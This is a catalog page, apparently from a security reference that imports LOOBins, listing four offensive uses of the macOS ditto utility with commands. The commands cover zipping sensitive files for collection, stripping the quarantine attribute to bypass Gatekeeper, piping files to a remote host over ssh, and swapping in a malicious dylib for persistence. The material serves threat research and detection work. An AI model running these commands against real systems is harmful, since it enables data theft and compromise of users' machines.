CatalogLOOBins

ORCHARD · Tool

ditto

4 techniquesmacOSLOOBinsGPL-3.0

Copy and compress sensitive data locally

CollectionmacOS

The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file.

ditto -c -k --sequesterRsrc --keepParent /home/user/sensitive-files /tmp/l00t.zip
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Collection, Exfiltration
Detection
No detection content at time of writing: No detection content at time of writing

Remove extended attributes from a file

CollectionmacOS

ditto can be used to bypass Gatekeeper by removing the "com.apple.quarantine" extended attribute.

ditto -c -k unsigned.app app.zip ditto -x -k app.zip unsigned.app 2>/dev/null
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Collection, Exfiltration
Detection
No detection content at time of writing: No detection content at time of writing

Copy, compress, and transfer sensitive data to a remote macOS host

CollectionLateral MovementDefense EvasionmacOS

The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file.

ditto -c --norsrc /home/user/sensitive-files - | ssh remote_host ditto -x --norsrc - /home/user/l00t
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Collection, Exfiltration, Lateral Movement, Defense Evasion
Detection
No detection content at time of writing: No detection content at time of writing

DLL hijacking

PersistencemacOS

Replace a legitimate library with a malicious one while maintaining the original file permissions and attributes.

ditto -V /path/to/malicious-library/malicious_library.dylib /path/to/target-library/original_library.dylib
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Persistence
Detection
No detection content at time of writing: No detection content at time of writing